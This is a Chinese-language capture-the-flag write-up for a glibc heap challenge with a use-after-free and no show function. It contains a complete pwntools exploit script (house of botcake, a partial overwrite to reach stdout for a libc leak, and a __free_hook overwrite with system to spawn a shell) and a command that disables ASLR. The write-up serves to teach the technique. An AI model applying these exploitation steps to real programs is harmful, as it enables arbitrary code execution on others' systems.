这题没有show,edit,但是有个uaf。
因为我们没有show函数无法泄露地址,所以我们需要打stdout来泄露地址。
参考代码:
from pwn import *
context.update(os='linux',arch='amd64',log_level='debug')
#c=remote(b'node4.buuoj.cn',25937)
# c=process(b'./pwn1')
libc=ELF(b'/pwn/libc')
#def dbg():
# gdb.attach(c,'''
# b *$rebase(0x14a1)
# b *$rebase(0x14f9)
# b *$rebase(0x15d7)
# b *$rebase(0x1684)
#
#
# ''')
def dbg():
gdb.attach(c)
pause()
def add(size,content):
c.sendlineafter(b'choice : ',b'1')
c.sendafter(b'Size: ',str(size))
c.sendafter(b'Content: ',content)
def free(idx):
c.sendlineafter(b'choice : ',b'2')
c.sendlineafter(b'dex: ',str(idx))
def luck_free(idx):
c.sendlineafter(b'choice : ',b'9')
c.sendlineafter(b'dex: ',str(idx))
def run():
###### house of botcake
for i in range(7):
add(0x80,b'a') #0-6
add(0x80,b'a') #7
add(0x80,b'a') #8
add(0x80,b'a') #9
for i in range(7):
free(i)
luck_free(8)
free(7)
add(0x80,b'a') #10
free(8)
######
add(0x50,p16(0x2690)) #11,_IO_2_1_stderr-0x43+0x10 p16(0x266d)
# dbg()
py=b'a'*0x20+p64(0)+p64(0x91)+p16(0xf690)#p16(0xc690)
add(0x40,py) #12
# dbg()
add(0x80,b'a') #13
add(0x80,b'a') #14
# dbg()
add(0x80,b'a'*0x10+p64(0xfbad1800)+p64(0)*3+b'\x00') #15
# dbg()
libc_base=u64(c.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['_IO_2_1_stdin_']
log.success("libc_base="+hex(libc_base))
######
# dbg()
free(13)
free(12)
# dbg()
free_hook=libc_base+libc.sym['__free_hook']
sys=libc_base+libc.sym['system']
log.success("system="+hex(sys))
add(0x40,b'a'*0x20+p64(0)+p64(0x91)+p64(free_hook)) #16
# dbg()
add(0x80,b'/bin/sh\x00') #17
add(0x80,p64(sys)) #18
# dbg()
free(17)
# dbg()
c.interactive()
# if __name__=='__main__':
# while True:
# # c=process('./pwn1')
# c=remote('node4.buuoj.cn',28264)
# try:
# run()
# except:
# c.close()
run()
首先我们想把本地的随机化关了,好调试。
echo 0 > /proc/sys/kernel/randomize_va_space
for i in range(7):
add(0x80,b'a') #0-6
add(0x80,b'a') #7
add(0x80,b'a') #8
add(0x80,b'a') #9
for i in range(7):
free(i)
luck_free(8)
free(7)
add(0x80,b'a') #10
free(8)
这几行代码的效果是:
箭头所指的chunk在tcachebins和unsortedbin里面,同时unsortdbin里面还有main_arena+96的地址和堆地址,我们可以利用这2个残余地址来爆破stdout。
通过0x55555555f710地址处的chunk堆块重叠,来利用。
add(0x50,p16(0x2690)) #11,_IO_2_1_stderr-0x43+0x10 p16(0x266d)
# dbg()
py=b'a'*0x20+p64(0)+p64(0x91)+p16(0xd690)#p16(0xc690)
add(0x40,py) #12
# dbg()
add(0x80,b'a') #13
add(0x80,b'a') #14
# dbg()
add(0x80,b'a'*0x10+p64(0xfbad1800)+p64(0)*3+b'\x00') #15
这几行代码就是打stdout。
tcachebins是不检查你的size的,所以可以随便利用其分配到你想要的地址去。
首先是分别改了这2处的2字节,这么改的目的是:可以将chunk分配到stdout附近,然后就可以修改stdout里面的数据,来泄露地址。因为linux是0x1000对齐的(页对齐)所以偏移是不变的(个人理解)
泄露完地址后就是利用很常规的free_hook劫持,最后拿到shell。